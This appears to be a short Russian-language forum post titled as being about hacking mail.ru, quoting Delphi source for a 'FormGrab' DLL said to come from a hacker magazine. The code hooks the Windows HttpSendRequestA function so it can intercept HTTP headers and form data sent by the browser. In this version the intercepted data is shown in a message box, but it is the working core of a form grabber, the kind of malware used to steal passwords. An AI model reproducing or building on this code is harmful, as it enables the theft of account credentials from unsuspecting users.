взлом @mail.ru

В журнале хакер было описано вот:
library FormGrab;

uses
windows,
advApiHook;

var
TrueHttpSendRequest: function(hRequest: dword; lpszHeaders: PChar;dwHeadersLength: dword; lpOptional: pointer;dwOptionalLength: dword): boolean; stdcall;

function NewHttpSendRequest(hRequest: dword; lpszHeaders: PChar; dwHeadersLength: dword; lpOptional: pointer;dwOptionalLength: dword): boolean; stdcall;
begin
MessageBoxA(0, lpszHeaders, lpOptional, 0);
Result := TrueHttpSendRequest(hRequest, lpszHeaders, dwHeadersLength, lpOptional, dwOptionalLength);
end;

begin
HookProc('wininet.dll', 'HttpSendRequestA', @NewHttpSendRequest, @TrueHttpSendRequest);
end.